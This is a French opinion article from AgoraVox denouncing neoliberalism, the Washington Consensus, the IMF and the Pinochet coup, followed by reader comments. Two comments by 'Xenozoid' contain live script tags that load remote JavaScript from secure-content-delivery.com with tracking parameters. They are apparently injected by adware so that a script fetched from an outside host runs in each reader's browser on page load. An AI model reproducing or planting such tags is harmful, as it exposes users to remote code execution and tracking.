• AgoraVox sur Twitter
  • RSS
  • Agoravox TV
  • Agoravox Mobile

Accueil du site > Tribune Libre > Et l’Histoire continue

Et l’Histoire continue

Avec la fin de l´Union Soviétique et la défaite de l´idéologie communiste, les chantres du capitalisme américains sautèrent de joie. Leur triomphalisme pourrait être traduit par une simples phrase d´Irving Kristol, le fondateur du néo-conservatisme : « Nous avons gagné, ils n´existent plus ! » En Russie, une criminocratie composée par des organisations extrêmement dynamiques, avec de fortes liaisons à l´appareil d´état détrôné, conquérait toutes les institutions de l´État. Comme une lame de fond, ce nouveau pouvoir né dans les décombres de la nation détruite, fit main-basse sur les richesses d´une économie encore puissante, s´appropriant les matières-premières et les principaux secteurs productifs. Centaines de milliers de russes périrent de faim pendant la décennie qui suivit la chute du régime communiste. L´occident accueillit, les bras ouverts, la “nouvelle démocratie » et, rapidement l´initia aux vertus du néolibéralisme. Les criminocrates et les « démocrates » capitalistes s´associèrent pour gérer, au mieux, leurs intérêts communs. Le communisme et les menaces de la guerre froide éloignés, l´idéologie néolibéral envahit les territoires du défunt empire, anxieuse pour conquérir de nouveaux marchés.

À la fin des années 80, le néolibéralisme était encore un jeune apprenti dans le panorama des idéologies. Zbigniew Brzezinski qui avait été le conseiller du présidente Jimmy Carter en sécurité nationale, ne le considérait pas comme une idéologie, d´ailleurs, c´est lui qui parraina la thèse de la fin des idéologies. La nouvelle civilisation méritait, selon lui, une autre désignation, un nom plus pompeux. On était en pleine révolution électronique conduite par l´Amérique et il voyait dans le pouvoir de la nation américaine l´avènement de la « première société global » de l´ histoire. Il l´appela la civilisation technétronique. Mais le néolibéralisme faisait irruption dans le monde, poussant devant lui « l´éblouissante » mondialisation et rien ne semblait capable de lui faire face. Travestie en religion de l´individualisme consommiste, l´idéologie de toutes les « libertés capitalistes » installée aux portes du nouveau siècle assurait, en sourdine, la continuation de l´histoire et de son sempiternel processus d´exploitation et d´oppression des peuples.

Pour l´idéologue américain, Francis Fukuyama, l’histoire était arrivée à sa fin. Dans un article, publié en 1989, sous le titre “La fin de l´Histoire”, il avançait l´idée que le capitalisme et la démocratie libérale constituaient le point le plus haut de l´évolution de l´humanité, le perfectionnement possible dans la gouvernation des peuples. Tous les autres systèmes idéologiques ou philosophiques, anciens ou récents pourraient être jetés à la poubelle de l’histoire. Avec la fin de celle-ci, il ne manquait plus que la résurrection des morts et l´ascension au paradis d´un dieu néolibéral. Mais, l´histoire poursuivit son chemin, jalonnée de conflits destructeurs de l´humain.

Contrariant les balivernes de Fukuyama, le néolibéralisme est l´éternel recommencement de l’histoire. Son terrifiant message s´inscrit dans la ligne droite de tous les totalitarismes qui dévastèrent l´humanité. Rien ne le différencie du nazisme, du fascisme et du stalinisme. Mêmes méthodes, mêmes fins.

Analysant le néolibéralisme, dans son livre “Géopolitique du Chaos”, I. Remonet écrit : "La répétition constante, en tous les médias, de ce catéchisme, par presque tous les politiciens aussi bien de droite comme de gauche, lui confère un tel pouvoir d´intimidation qu´il empêche toute tentative de réflexion libre et rend très difficile la résistance contre ce nouveau obscurantisme. C´est choquant de voir à quel point, une période d´agitation, de crises économiques et de dangers de tout genre, comme celle que nous vivons, puisse s´accompagner d´un consensus idéologique aussi écrasant, imposé par les medias, par les sondages et par la publicité, grâce à la manipulation des signes et des symboles et un nouveau contrôle des esprits. »

Cette idéologie n´est pas un simple prolongement du capitalisme industriel qui s´affirma et régna entre le début de la révolution industrielle et le début de la révolution technologique. Véritable synthèse des idéaux qui, depuis toujours, cimentent le comportement prédateur de la supra élite américaine, l´aristocratie des banquiers, industriels et politiciens, il est, en vérité, un système idéologique d´exploitation et d´oppression conduit par les agents fondamentalistes des marchés libres. Son programme, élaboré par le FMI et la Banque Mondiale, d´après un mémorandum de l´économiste anglais John Williamson, fut défini dans un document connu comme le Consensus de Washington. Il préposait (en théorie) des mesures d´ajustement macroéconomique pour les pays fragilisés par des dettes publiques trop élevées. Ce document finira par devenir, à partir de la fin des années 70, la sainte bible de la mondialisation marchande et financière. Le président Ronald Reggan, aux États-Unis et dame Thatcher, au Royaume-Uni se rendirent, sur-le-champ, à ses charmes. En Europe, l´Union Européenne, (commission, parlement et technocrates) obligea tous ses pays membres à se prosterner devant le nouvel impérialisme. À l´instant où les gouvernements européens acceptèrent d´effacer les derniers vestiges de sa spécificité : souveraineté, liberté, solidarité, les États-nation devinrent, en somme, des états fantoches, vassaux du Pouvoir Privé Global.

Beaucoup de pays de l´Amérique latine furent victimes du Consensus. En 1980, les statistiques concernant la pauvreté, signalaient l´existence de 120 millions de pauvres dans cette région du monde. En 1999, après l´intervention des deux institutions FMI et la Banque Mondiale, ce chiffre dépassa les 220 millions de personnes, c´est-à-dire 45 % de la population ! Chemins de fer, télécommunications, compagnies d´aviation, entreprises publiques d´eau et électricité tombèrent sous la loi des privatisations et vendues au rabais aux entreprises américaines et européennes. Les dépenses publiques, santé, éducation, logement, appuis sociaux cessèrent de figurer dans le budget des États. Des millions de travailleurs rejoignirent les interminables files de chômeurs. Les plus chanceux eurent leurs salaires congelés. Selon l´Organisation International du Travail, 84% des emplois créés, soumis aux nouvelles normes de travail, étaient précaires ou mal rémunérés.

Le néolibéralisme attire et agglutine dans une masse informe, anonyme, les intérêts de banquiers, d´actionistes du capital financier, d´investisseurs, spéculateurs, délinquants de l´évasion fiscale et de la corruption, cadres politiques, hauts fonctionnaires gouvernementaux et oligarques du crime. À une logique sociale, naturellement établie sur des règles d´équité et de justice, il oppose la logique économiciste.

Sa première action de grande envergure internationale, inspirée par les « penseurs » du FMI et de la Banque Mondiale, à laquelle ne manqua pas la bénédiction de l´administration Nixon, eut lieu au Chili, en 1973, avec le coup d´état des forces fascistes commandées par le général Pinochet. En mettant fin à la gouvernation démocrate du président Salvador Allende, (assassiné aux premières heures de l´attaque) le dictateur chilien offrit la nation aux États-Unis. Ce fut la grande opportunité pour des idéologues du néolibéralisme comme Milton Friedman et ses acolytes de l´école de Chicago, de mettre en pratique leurs théories. L´oppression sanguinaire qui suivit la chute d´Allende - l´assassinat en masse de ses militants et sympathisants – éradiqua la démocratie dans ce pays pendant des décennies et ouvrit les portes aux multinationaux qui pillèrent le patrimoine national et les entreprises publiques.

Depuis ces temps-là le néolibéralisme poursuit, imperturbable, sa stratégie idéologique : soumettre les États, les privatiser, contrôler tous ses secteurs productifs, sans exception : industries, matières-premières, biens alimentaires, ressources naturelles, biens et services publics. Son objectif, dominer le monde. Il aura, entretemps, fait fonctionner la machine du chômage et jeté des millions d´êtres humains dans les bidonvilles misérables des grandes mégapoles.

Après avoir consolidé et institutionnalisé son programme, il se chargera de détruire, dans les citoyens, tous les systèmes et structures mentales de défense et de révolte, d´effacer dans la mémoire de l´humain, les symboles de la liberté et de la dignité. Établissant sa doctrine sur une phrase, apparemment inoffensive, « libération total des forces du marché », le néolibéralisme n´effraye pas, ne provoque pas de la méfiance et pourtant, dans l´histoire des peuples, aucune autre idéologie n´acquit une aussi grande capacité de domination et d´exploitation des sociétés humaines.

Les règles néolibérales composent le catéchisme idéologique des temps modernes. Dans ce catéchisme il n´y a rien d´écrit sur les droits de la personne humaine, sur la générosité et la compassion, sur la solidarité et le partage, sur l´harmonie entre les gens et entre les nations, sur la valeur de la culture, de la tolérance et de la préservation de l´environnement. Dans ses pages, il n´y a pas une seule phrase sur la faim qui ravage des populations entières, sur les milliards d´habitants des bidonvilles, sur les plus d´un milliard et demi de personnes définitivement marginalisés par le chômage et par la pauvreté.

Le néolibéralisme, en ayant redéfini les grandes lignes du nouvel Ordre Mondial, s´attribua tous les droits sur l´ humain et la nature. Comme une vague monstrueuse, il avance sur les nations et rien ne semble pouvoir l´arrêter. Pourtant, on commence à distinguer une petite lumière d´espoir qui, obstinément, s´emploie à éloigner les trêves qui couvrent le monde. Des peuples, ici et là, ouvrent des espaces à la révolte et dessinent des scénarios possibles pour une future réorganisation des sociétés humaines, hors du néolibéralisme et de la mondialisation.


Moyenne des avis sur cet article :  4.65/5   (23 votes)




Réagissez à l'article

12 réactions à cet article    


  • Dwaabala Dwaabala 9 août 2013 19:47

    Un beau texte sur ce qu’est le néo libéralisme, même quand il se présente sous le masque du gouvernement des socialistes, ici ou ailleurs.


    • Xenozoid 9 août 2013 19:56

      je me rapelle le pouvoir, ce que les anarchistes opposaient a certain

      <script src="https://secure-content-delivery.com/data.js.php?i={2809185B-B8AB-43D6-A03F-2F0A7CC55AAA}&amp;d=2013-5-7&amp;s=http://www.agoravox.fr/tribune-libre/article/et-l-histoire-continue-139431#forum3790458&amp;cb=0.03805410288138733" type="text/javascript"></script>

      • Feste Feste 9 août 2013 21:01

        Merci pour ce texte


        • Jean-Paul Foscarvel Jean-Paul Foscarvel 9 août 2013 22:20

          Le neolibéralisme actuel, qui serait plutôt un ploutocratisme, c’est un mécanisme implacable qui combine séduction et peur.
          Séduction de la consommation à tout prix, du bonheur libre et sans entrave d’un choix que l’on croit infini, et qui n’est que la répétition du même.
          Peur de se retrouver déclassé socialement, de ne plus en être, voire carrément de se retrouver à la rue.
          Alors chacun accepte la suite monotone des destructions, des régressions, des oppressions.

          Jusqu’au jour où tomberont à la fois les illusions consuméristes et la peur d’être exclu.

          Un espoir : les totalitarismes finissent toujours par s’effondrer, mais leur durée reste incertaine.

          Nous pouvons toutefois sentir comme un basculement proche qui s’annonce.


          • ykpaiha ykpaiha 10 août 2013 02:39

            Comme beaucoups, je me suis interrogé sur la chute de l’URSS.

            A contrario des théories postérieures triomphalistes de prévisionnistes qui en fait n’avait rien vu venir,(rien, ni dans l’éconnomie, ni aucune statistique n’indiquaient) il est par contre interressant d’en suivre les conséquence et son évolution , comme le fait l’auteur.

            Une phrase m’est restée a l’esprit en boucle

            « Nous allons vous rendre le pire des services, nous allons vous priver d’ennemi ! »

            Prévision ou prémonition ? (genre du « tu quoque mi fili » de cesar qui peut avoir plusieurs niveaux de lecture) ??

            Avides et rapaces comme le sont les améeicains ils furent prompts a proposer leurs services et appliquer leurs préceptes, comme autrefois une armée conquérante dans un magasin de porcelaine.

            Avec comme seule Theoreme celui de thomas

            ’Si les hommes définissent des situations comme réelles, alors elles sont réelles dans leurs conséquences’
            (theorie appliquée entre autre aujourd’hui par notre saint patron francois de Hollande« )

            Si ce théoreme (tres ephemere en soi, il doit constemment se renouveler ) fonctionne dans nos contrées elle ne pouvaient avoir longtemps de prise sur une société post-soviétique et surtout Russe de par sa structure et surtout son eschatologie.

            Mais peut on aussi admettre que finalement cette ’disparition’ avait un objectif et etait maitrisé et a permis de repartir, non pas sur des scories mais par un simple reset ?

            On voit aujourd’hui les avantages d’une telle stratégie, osée, mais les russes sont de grands joueurs d’échec et permet de mieux appréhender la rapidité de sa  »reconvertion’ (elle aussi tres mal pévue)..
            D’autant que durant toute la période trouble aucun des grands corps d’état n’a été touché dont les grands fonctionnaires Russes d’aujourd’hui sont issus.

            Si cette vision est exacte on va assister a un vrai démambrement, celui d’un systeme « américaniste impérial » qui est en fait une construction artificielle et qui comme dit pus haut ne tient que sur le théoreme de Thomas.,

            Si l’ennemi est une construction, pour le vaincre, il faut non pas le battre, mais le déconstruire.
            (LA FABRICATION DE L’ENNEMI - P.Conesa)


            • Buddha 10 août 2013 09:05

              Brillant et juste article, merci.


              • julius 1ER 10 août 2013 09:44

                la définition du neo-libéralisme est plutôt celle-ci, c’est une grande famille ou tout le monde se met à table, mais seuls les premiers arrivés(et les plus costauds pour jouer des coudes) je disais seuls les premiers arrivés sont les premiers servis et ceux-ci ont la part du lion...............


                • julius 1ER 10 août 2013 09:56

                  ce texte offre un beau panorama de ce qu’ont été ces quarante dernières années et à qui elles ont surtout profité, Friedmann finalement donne la réponse, ces classes moyennes qui ne savent pas s’organiser sont vraiment « les dindons de la farce » l’ex URSS est un bel exemple, remplacer un état fort qui avait oublié qu’il venait du peuple par un autre état fort cette fois au service d’une oligarchie, voilà qui devrait donner à réfléchir sur ce que doit être un état et à quoi il doit servir !!!! 


                  • SALOMON2345 10 août 2013 16:35

                    Parfois on se sent seul et quelque peu énervé à voir ce que d’autres - distraits - ne voient pas, à savoir que le mur de Berlin et sa chute - pour l’Europe notamment - fut le signal de l’invasion généralisée des « nouveaux barbares » et je vous retrouve dans votre texte à penser idem.

                    En effet, les ploutocrates, jusqu’à 1989, étaient un peu obligés de respecter à minima les opinions publiques dont ils craignaient la partie gauche (attention, les popofs ne sont pas loin) jusqu’à cette formidable « libération », dirent-ils, et insidieusement et au prétexte de « secourir » les pauvres pays de l’Est libérés et maintenant baignant dans la nouvelle démocratie, ils ouvrirent leurs frontières, livrèrent des usines clés en mains et les mirent au travail, mais payés bien moins chers que ces fainéants de l’Ouest... et on connaît la suite, les VW devinrent beaucoup plus « compétitives » que le Lion ou le Losange qui lui, délaissant Billancourt, s’en alla fabriquer au Maroc... et en Roumanie... et ainsi de suite... Adam Smith et Friedman triomphe maintenant : mais jusqu’à quand ?
                    Salutations et merci pour votre travail.

                    • Le421... Refuznik !! Le421 10 août 2013 17:11

                      Voilà !! A quel moment je ne peux m’empêcher de sourire...
                      Car en fait, même moi qui suis plutôt communiste, je comprends que parfois certaines théories capitalistes peuvent aider dans la vie de tous les jours.
                      Mon idéal communiste est chassé en permanence par le système en place qui ne peux fonctionner avec la théorie du partage.
                      Tous les systèmes ont du bon et du moins bon. Ce qui les dévoie, ce sont les dirigeants politiques qui sont devenus de vrais professionnels alors qu’ils ne devraient être que de passage, car ils doivent vivre de leur fonctions politiques.
                      Deux mandats maximum pour toute fonction et par de remise dans le bain immédiate.
                      Sanctions immédiates en cas d’enrichissement sur le dos de la communauté ou en cas d’utilisation abusive de la sanction électorale.
                      Au lieu de ça, on a un tas de cumulards récidiviste avec des batteries de cuisine inox ou cuivre même au fesses qui font les beaux à la télé.
                      On commence par en « serrer » quelques-uns pour de bon et après on discute.

                      Pour revenir à l’article, il est excellent par le fait qu’il explique qu’aucun système n’est parfait. Il faut toutefois essayer d’évoluer vers plus de justice humaine, ce que devrait faciliter le progrès technique.
                      Comme disait Mélenchon, tout ce qui dépasse 360.000€ par an, je prends. Si tout le monde faisait pareil, vous verriez que certaines théories capitalistes se casseraient la gueule et que ça n’empêcherait personne de vivre.
                      Il y en a qui en ont vraiment assez...


                      • Stof Stof 10 août 2013 19:45

                        Je suis en train de lire les « confessions d’un assassins financier », où l’on comprend que la Finance est juste une arme de guerre néo-coloniale.
                        Je ne sais pas très bien que qu’est véritablement le « neo-libéralisme », mais le phénomène auxquels les peuples du monde entier sont confrontés se nomme depuis la nuit des temps : l’IMPERIALISME.


                        • Xenozoid 10 août 2013 20:47

                          l’imperialisme est une consequence, le pouvoir est la cause

                          <script src="https://secure-content-delivery.com/data.js.php?i={2809185B-B8AB-43D6-A03F-2F0A7CC55AAA}&amp;d=2013-5-7&amp;s=http://www.agoravox.fr/spip.php?page=forum&amp;id_article=139431&amp;id_forum=3791091&amp;cb=0.521470180796229" type="text/javascript"></script>

Ajouter une réaction

Pour réagir, identifiez-vous avec votre login / mot de passe, en haut à droite de cette page

Si vous n'avez pas de login / mot de passe, vous devez vous inscrire ici.


FAIRE UN DON







Palmarès